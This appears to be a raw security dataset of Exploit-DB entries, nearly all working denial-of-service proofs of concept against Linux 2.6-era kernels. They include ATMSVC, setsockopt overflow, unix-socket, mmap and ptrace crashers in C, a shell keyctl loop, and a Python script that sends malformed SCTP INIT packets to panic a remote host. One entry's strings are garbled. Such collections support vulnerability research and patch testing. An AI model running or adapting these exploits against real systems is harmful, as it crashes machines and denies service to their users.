deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35957
Description: Linux Kernel 2.6.26 - Auerswald USB Device Driver Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2009-10-19
Author: R. Dominguez Veg

Exploit:
source: https://www.securityfocus.com/bid/48687/info

The Auerswald USB Device Driver for the Linux kernel is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with superuser privileges, facilitating the complete compromise of affected computers. Failed exploit attempts will likely crash the kernel, denying service to legitimate users.

Linux kernel 2.6.26 is vulnerable; prior versions may also be affected. 

0xbf, 0x09, /*  u16 idVendor; */ 
0xc0, 0x00, /*  u16 idProduct; */ 
0x10, 0x42, /*  u16 bcdDevice */ 

case 1: 
      /* serial number */ 
      ret = set_usb_string(data, 魹ｽ魹ｽ); 
          break; 
      case 2: 
          ret = set_usb_string(data,魹ｽAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA魹ｽ);
Exploit-DB #7454
Description: Linux Kernel 2.6.27.7-generic/2.6.18/2.6.24-1 - Local Denial of Service
Type: dos
Platform: linux
Date: 2008-12-14
Author: Adurit-T

Exploit:
/*

Linux Kernel 2.6.27.7-generic - 2.6.18 - 2.6.24-1 Denial of service Exploit

Vuln : 2.6.27.7-generic || 2.6.18 || 2.6.24-1

Author : Adurit team
             >>djekmani4ever

Home : Hightsec.com

patch : http://marc.info/?l=linux-netdev&m=[PII_REDACTED]5780&w=2

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h> 
                      
#define NUM_CPUS 8    
#define ATM "/proc/net/atm/avc"
                              
int                           
main(void)                    
{                             
    char *err, adurit[2000];  
    int i, ret, sock, proc;   
    struct atm_qos dj;        
    struct sockaddr_atmsvc addr;
                               
                               
                               
    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
                                           
                                           
    memset(&dj, 0, sizeof(dj));            
    dj.rxtp.traffic_class = ATM_UBR;       
    dj.txtp.traffic_class = ATM_UBR;       
    dj.aal = ATM_NO_AAL;                   
                                           

    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
    if (ret == -1) {
        printf("failed !\n");
        return 1;
    }
    memset(&addr, 0, sizeof(addr));
    addr.sas_family = AF_ATMSVC;
 
    bind(sock, (struct sockaddr *) &addr, sizeof(addr));
 
    listen(sock, 10);
    listen(sock, 10);

    for (i = 1; i < NUM_CPUS; ++i) {
        if (fork() != 0) {
            break;
        }
    }
    proc = open(ATM, O_RDONLY);
    ret = read(proc, &adurit, 2000);
    close(proc);

    return 0;
}

// milw0rm.com [2008-12-14]
Exploit-DB #7405
Description: Linux Kernel 2.6.27.8 - ATMSVC Local Denial of Service
Type: dos
Platform: linux
Date: 2008-12-10
Author: Jon Oberheide

Exploit:
/*
 * cve-2008-5079.c
 *
 * Linux Kernel <= 2.6.27.8 ATMSVC local DoS
 * Jon Oberheide <jon@oberheide.org>
 *
 * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079:
 *
 *   net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8
 *   and earlier allows local users to cause a denial of service  
 *   (kernel infinite loop) by making two calls to svc_listen for the
 *   same socket, and then reading a /proc/net/atm/*vc file, related  
 *   to corruption of the vcc table.  
 *
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
 
#define NR_CPUS 8
#define PROC_ATM "/proc/net/atm/pvc"
 
int
main(void)
{
    char *err, dummy[1024];
    int i, ret, sock, proc;
    struct atm_qos qos;
    struct sockaddr_atmsvc addr;
 
    printf("[+] creating ATM socket...\n");
 
    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
    if (sock < 0) {
        err = "socket(2) for type PF_ATMSVC failed";
        printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
        return 1;
    }
 
    memset(&qos, 0, sizeof(qos));
    qos.rxtp.traffic_class = ATM_UBR;
    qos.txtp.traffic_class = ATM_UBR;
    qos.aal = ATM_NO_AAL;
 
    printf("[+] setting socket QoS options...\n");
 
    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &qos, sizeof(qos));
    if (ret == -1) {
        err = "setsockopt(2) for option SO_ATMQOS failed";
        printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
        return 1;
    }
 
    memset(&addr, 0, sizeof(addr));
    addr.sas_family = AF_ATMSVC;
 
    printf("[+] binding socket...\n");
 
    bind(sock, (struct sockaddr *) &addr, sizeof(addr));
 
    printf("[+] socket listen...\n");
 
    listen(sock, 10);
 
    printf("[+] duplicate socket listen...\n");
 
    listen(sock, 10);
 
    printf("[+] attempting local DoS...\n");
 
    for (i = 0; i < NR_CPUS; ++i) {
        if (fork() != 0) {
            break;
        }
    }
 
    proc = open(PROC_ATM, O_RDONLY);
    if (proc == -1) {
        err = "opening " PROC_ATM " failed";
        printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
        return 1;
    }
    ret = read(proc, &dummy, 1024);
    close(proc);
    
    printf("[-] Local DoS failed.\n");
 
    return 0;
}

// milw0rm.com [2008-12-10]
Exploit-DB #274
Description: Linux Kernel 2.6.3 - 'setsockopt' Local Denial of Service
Type: dos
Platform: linux
Date: 2004-04-21
Author: Julien Tinnes

Exploit:
/* setsockopt proof of concept code by Julien TINNES (julien a.t cr0.org)
vulnerability found (as always by Paul Starzetz

This is only a lame POC which will crash the machine, no root shell here.
Maybe later, when everybody will have an updated box.

It should work on 2.6.1, 2.6.2 and 2.6.3 kernels.

Greets to Christophe Devine, too bad you wasn't with me for this one.

*/


#include <errno.h>
void perror (const char *s);

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/socket.h>

#define SOL_IP 0
#define MCAST_MSFILTER 48

/* mynumsrc and alloc_room control the overflow
* what we write can be controlled too (not needed
* here but needed for rootshell exploit
*/

#define mynumsrc 0x100 /* 0x100 should be enough, can be tweaked */
#define alloc_room 1 /* let it alocate only one u32 */

struct mygroup_filter
{
__u32 gf_interface; /* interface index */
struct sockaddr_storage gf_group; /* multicast address */
__u32 gf_fmode; /* filter mode */
__u32 gf_numsrc; /* number of sources */
struct sockaddr_storage gf_slist[mynumsrc]; /* interface index */
};


void
main (void)
{

int mysocket;
int sockprot;
struct mygroup_filter mygroup;
int optlen;
int i;
struct sockaddr_in *psin;

mygroup.gf_interface = 0;
mygroup.gf_numsrc = (1 << 30) - 4 + alloc_room;

mygroup.gf_group.ss_family = AF_INET;



for (i = 0; i < mynumsrc; i++)
{
psin = (struct sockaddr_in *) &mygroup.gf_slist[i];
psin->sin_family = AF_INET;
}


mysocket = socket (PF_INET, SOCK_STREAM, 0);

if (mysocket == -1)
{
perror ("Socket creation error: ");
exit (1);
}

optlen = sizeof (struct mygroup_filter);

printf ("Calling setsockopt(), this should crash the box...\n");
sockprot = setsockopt (mysocket, SOL_IP, MCAST_MSFILTER, &mygroup, optlen);

if (sockprot == -1)
{
perror ("Invalid setsockopt: ");
exit (1);
}
}




// milw0rm.com [2004-04-21]
Exploit-DB #33088
Description: Linux Kernel 2.6.30 - 'tun_chr_pool()' Null Pointer Dereference
Type: dos
Platform: linux
Date: 2009-06-17
Author: Christian Borntraeger

Exploit:
source: https://www.securityfocus.com/bid/35724/info

The Linux kernel is prone to a local NULL-pointer dereference vulnerability.

A local attacker can exploit this issue to execute arbitrary code with superuser privileges or crash an affected kernel, denying service to legitimate users.

This issue was introduced in Linux kernel 2.6.30. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33088-1.tgz
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33088-2.tgz
Exploit-DB #33228
Description: Linux Kernel 2.6.31 - 'perf_counter_open()' Local Buffer Overflow
Type: dos
Platform: linux
Date: 2009-09-16
Author: Xiao Guangrong

Exploit:
source: https://www.securityfocus.com/bid/36423/info

The Linux kernel is prone to a local buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Local attackers may be able to exploit this issue to run arbitrary code with elevated privileges. Failed exploit attempts may crash the affected kernel, denying service to legitimate users.

The Linux Kernel 2.6.31-rc1 through 2.6.31 are vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33228.tgz
Exploit-DB #10022
Description: Linux Kernel 2.6.31.4 - 'unix_stream_connect()' Local Denial of Service
Type: dos
Platform: linux
Date: 2009-11-10
Author: Tomoki Sekiyama

Exploit:
int main(void)
{
	int ret;
	int csd;
	int lsd;
	struct sockaddr_un sun;

	/* make an abstruct name address (*) */
	memset(&sun, 0, sizeof(sun));
	sun.sun_family = PF_UNIX;
	sprintf(&sun.sun_path[1], "%d", getpid());

	/* create the listening socket and shutdown */
	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
	listen(lsd, 1);
	shutdown(lsd, SHUT_RDWR);

	/* connect loop */
	alarm(15); /* forcely exit the loop after 15 sec */
	for (;;) {
		csd = socket(AF_UNIX, SOCK_STREAM, 0);
		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
		if (-1 == ret) {
			perror("connect()");
			break;
		}
		puts("Connection OK");
	}
	return 0;
}
Exploit-DB #40819
Description: Linux Kernel 2.6.32-642/3.16.0-4 - 'inode' Integer Overflow
Type: dos
Platform: linux
Date: 2016-11-23
Author: Todor Donev

Exploit:
/*  Linux Kernel 2.6.32-642 / 3.16.0-4 'inode' Integer Overflow PoC

  The inode is a data structure in a Unix-style file system which describes a filesystem 
  object such as a file or a directory. Each inode stores the attributes and disk block 
  locations of the object's data. Filesystem object attributes may include metadata, as 
  well as owner and permission data.

  INODE can be overflowed by mapping a single file too many times, allowing for a local 
  user to possibly gain root access.

  Disclaimer:
  This or previous program is for Educational purpose ONLY. Do not  use it without permission. 
  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any 
  damages caused by direct or indirect use of the information or functionality provided 
  by these programs. The author or any Internet provider bears NO responsibility for content 
  or misuse of these programs or any derivatives thereof. By using these programs you accept 
  the fac that any damage (dataloss, system crash, system compromise, etc.) caused by the use 
  of these programs is not Todor Donev's responsibility.

  Thanks to Maya Hristova and all friends.

  Suggestions,comments and job offers are welcome!
  
  Copyright 2016 (c) Todor Donev
  Varna, Bulgaria
  todor.donev@gmail.com
  https://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg
  http://pastebin.com/u/hackerscommunity  

*/
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
void main(){
int fd, i;
fd = open("/dev/zero", O_RDONLY);
for(i = 0; i < 26999; i++){
mmap((char*)0x00000000 + (0x10000 * i), 1, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);
}
}
Exploit-DB #14594
Description: Linux Kernel 2.6.33.3 - SCTP INIT Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-08-09
Author: Jon Oberheide

Exploit:
# From: http://jon.oberheide.org/files/sctp-boom.py
#!/usr/bin/env python

''' 
  sctp-boom.py
 
  Linux Kernel <= 2.6.33.3 SCTP INIT Remote DoS
  Jon Oberheide <jon@oberheide.org>
  http://jon.oberheide.org
  
  Information:
 
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1173

    The sctp_process_unk_param function in net/sctp/sm_make_chunk.c in the
    Linux kernel 2.6.33.3 and earlier, when SCTP is enabled, allows remote 
    attackers to cause a denial of service (system crash) via an SCTPChunkInit
    packet containing multiple invalid parameters that require a large amount 
    of error data. 

  Usage:
 
    $ python sctp-boom.py 1.2.3.4 19000
    [+] sending malformed SCTP INIT msg to 1.2.3.4:19000
    ...
    [+] kernel should have panicked on remote host 1.2.3.4

  Requirements:
    
    * dnet: http://libdnet.sourceforge.net/
    * dpkt: http://code.google.com/p/dpkt/

''' 

import os, sys, socket

def err(txt):
    print '[-] error: %s' % txt
    sys.exit(1)

def msg(txt):
    print '[+] %s' % txt

def usage():
    print >> sys.stderr, 'usage: %s host port' % sys.argv[0]
    sys.exit(1)

try:
    import dpkt
except ImportError:
    err('requires dpkt library: http://code.google.com/p/dpkt/')

try:
    import dnet
except ImportError:
    try:
        import dumbnet as dnet
    except ImportError:
        err('requires dnet library: http://libdnet.sourceforge.net/')

def main():
    if len(sys.argv) != 3:
        usage()

    host = sys.argv[1]
    port = int(sys.argv[2])

    try:
        sock = dnet.ip()
        intf = dnet.intf()
    except OSError:
        err('requires root privileges for raw socket access')

    dst_addr = socket.gethostbyname(host)
    interface = intf.get_dst(dnet.addr(dst_addr))
    src_addr = interface['addr'].ip

    msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port))

    invalid = ''
    invalid += '\x20\x10\x11\x73'
    invalid += '\x00\x00\xf4\x00'
    invalid += '\x00\x05'
    invalid += '\x00\x05'
    invalid += '\x20\x10\x11\x73'

    for i in xrange(20):
        invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff'

    init = dpkt.sctp.Chunk()
    init.type = dpkt.sctp.INIT
    init.data = invalid
    init.len = len(init)

    sctp = dpkt.sctp.SCTP()
    sctp.sport = 0x1173
    sctp.dport = port
    sctp.data = [ init ]

    ip = dpkt.ip.IP()
    ip.src = src_addr
    ip.dst = dnet.ip_aton(dst_addr)
    ip.p = dpkt.ip.IP_PROTO_SCTP
    ip.data = sctp
    ip.len = len(ip)

    print `ip`

    pkt = dnet.ip_checksum(str(ip))
    sock.send(pkt)

    msg('kernel should have panicked on remote host %s' % (dst_addr))

if __name__ == '__main__':
    main()
Exploit-DB #33886
Description: Linux Kernel 2.6.34 - 'find_keyring_by_name()' Local Memory Corruption
Type: dos
Platform: linux
Date: 2010-04-27
Author: Toshiyuki Okajima

Exploit:
source: https://www.securityfocus.com/bid/39719/info

The Linux kernel is prone to a local memory-corruption vulnerability.

Attackers can exploit this issue to crash the affected computer, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

kernel 2.6.34-rc5 is vulnerable.

The following proof-of-concept is available:

for ((i=0; i<100000; i++)); do keyctl session wibble /bin/true || break; done
Exploit-DB #36425
Description: Linux Kernel 2.6.35 - Network Namespace Remote Denial of Service
Type: dos
Platform: linux
Date: 2011-12-06
Author: Serge Hallyn

Exploit:
source: https://www.securityfocus.com/bid/50938/info

The Linux kernel is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause an out-of-memory error in certain linux applications, resulting in denial-of-service conditions.

Linux kernel versions 2.6.35 and earlier are affected. 

$ for i in 1 2 3 4 5 6 7 8 ; do ./feedftp $i >/dev/null & done
Exploit-DB #15619
Description: Linux Kernel 2.6.37 - 'setup_arg_pages()' Denial of Service
Type: dos
Platform: linux
Date: 2010-11-26
Author: Roland McGrath

Exploit:
// source: https://www.securityfocus.com/bid/44301/info
/* known for over a year, fixed in grsec
   bug is due to a bad limit on the max size of the stack for 32bit apps
   on a 64bit OS.   Instead of them being limited to 1/4th of a 32bit 
   address space, they're limited to 1/4th of a 64bit address space -- oops!
   in combination with vanilla ASLR, it triggers a BUG() as the stack 
   tries to expand around the address space when shifted
   Below mmap_min_addr you say? uh oh! ;)

   Reported to Ted Tso in December 2009
   Linus today (Aug 13 2010) silently fixes tangential issue:
   http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de[PII_REDACTED]ebbc1a17165727f4c893

   The second bug here is that the memory usage explodes within the 
   kernel from a single 128k allocation in userland
   The explosion of memory isn't accounted for by any task so it won't
   be terminated by the OOM killer

   curious what actual vuln was involved that they were trying
   to silently fix, as I don't think it's the one below
   clobbering data in a suid app by growing the stack into the mapping
   for the image? ;)  I smell privesc...mumblings of X server/recursion

   ulimit -s unlimited
   ./64bit_dos

   SELinux is here to save us though with its fine-grained controls!
   Wait, it doesn't?
   Clearly the solution is to throw a buggy KVM on top of it
   Not enough?  Ok, we'll throw in an extra SELinux, that'll really 
   throw those hackers off when they use the same exact exploit on the 
   host as they do on the guest!
   COMMON CRITERIA HERE I COME!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/personality.h>

#define NUM_ARGS 24550

int main(void)
{
        char **args;
        char *str;
        int i;

	/* not needed, just makes it easier for machines with less RAM */
	personality(PER_LINUX32_3GB);

        str = malloc(128 * 1024);
        memset(str, 'A', 128 * 1024 - 1);
        str[128 * 1024 - 1] = '\0';
        args = malloc(NUM_ARGS * sizeof(char *));
        for (i = 0; i < (NUM_ARGS - 1); i++)
                args[i] = str;
        args[i] = NULL;

        execv("/bin/sh", args);
        printf("execve failed\n");

        return 0;
}
Exploit-DB #16263
Description: Linux Kernel 2.6.37 - Local Kernel Denial of Service (1)
Type: dos
Platform: linux
Date: 2011-03-02
Author: prdelka

Exploit:
/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)
 * =======================================================
 * A divide by 0 error occurs in tcp_select_initial_window
 * when processing user supplied TCP_MAXSEG facilitating a
 * local denial-of-service condition (kernel oops!) in all
 * Linux Kernel 2.6.x branch (2.6.37 & below). This issue 
 * can be triggered easily with a call to setsockopt() on 
 * a listening network socket and then establishing a TCP
 * connection to the awaiting socket. 
 * 
 * -- prdelka
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>


int main() {
	int optval, optlen, ret, sd, sd2, pid;
	char *host = "localhost";	
	struct sockaddr_in locAddr;
	struct sockaddr_in servAddr;
	struct sockaddr_in dstAddr;
	printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n");	
	sd = socket(AF_INET, SOCK_STREAM, 0);
	memset(&servAddr,0,sizeof(servAddr));
	memset(&dstAddr,0,sizeof(dstAddr));
        servAddr.sin_family = AF_INET;
        servAddr.sin_port = htons(60000);
        servAddr.sin_addr.s_addr = INADDR_ANY;
	dstAddr.sin_family = AF_INET;
	inet_aton("127.0.0.1", &dstAddr.sin_addr);
	dstAddr.sin_port = htons(60000);
        if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
                printf("[ Cannot bind listener service\n");
                exit(-1);
        }
	listen(sd,4);
	optval = 12;
	ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
	if(ret==0)
	{
		printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");
		int sin_size = sizeof(struct sockaddr_in);
		switch(pid = fork())
		{
			case 0:
				sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
				sleep(3);
			default:
				sd2 = socket(AF_INET, SOCK_STREAM, 0);
				connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
				sleep(3);
		}
	}
	printf("[ System is patched, no dreams for this prince\n");
	return 0;
}
Exploit-DB #15622
Description: Linux Kernel 2.6.37 - Unix Sockets Local Denial of Service
Type: dos
Platform: linux
Date: 2010-11-27
Author: Key Night

Exploit:
/*
Simple kernel attack using socketpair. easy, 100% reproductiblle, works
under guest. no way to protect :(

Simple kernel attack using socketpair. easy, 100% reproductiblle,
works under guest. no way to protect :(

See source attached.

Process become in state 'Running' but not killalble via kill -KILL.

eat 100% CPU, eat all available internal  file descriptors  in kernel :(

-- 
Segmentation fault
*/

#include <sys/socket.h>
#include <sys/un.h>

static int send_fd (int unix_fd, int fd)
{
  struct msghdr msgh;
  struct cmsghdr *cmsg;
  char buf[CMSG_SPACE (sizeof (fd))];
  memset (&msgh, 0, sizeof (msgh));

  memset (buf, 0, sizeof (buf));

  msgh.msg_control = buf;
  msgh.msg_controllen = sizeof (buf);

  cmsg = CMSG_FIRSTHDR (&msgh);
  cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
  cmsg->cmsg_level = SOL_SOCKET;

  cmsg->cmsg_type = SCM_RIGHTS;

  msgh.msg_controllen = cmsg->cmsg_len;

  memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
  return sendmsg (unix_fd, &msgh, 0);
}

int main ()
{
  int fd[2], ff[2];

  int target;
  if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
    return 1;
  for (;;)
  {
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
        return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);

    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
  }
}
Exploit-DB #31965
Description: Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (1)
Type: dos
Platform: linux
Date: 2008-06-25
Author: Alexei Dobryanov

Exploit:
/*
source: https://www.securityfocus.com/bid/29945/info

The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition.

Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users. 
*/


#include <stdlib.h>
#include <sys/ptrace.h>

int main(int argc, char *argv[])
{
	pid_t pid = atoi(argv[1]);

	while (1)
		ptrace(PTRACE_ATTACH, pid, NULL, NULL);

	return 0;
}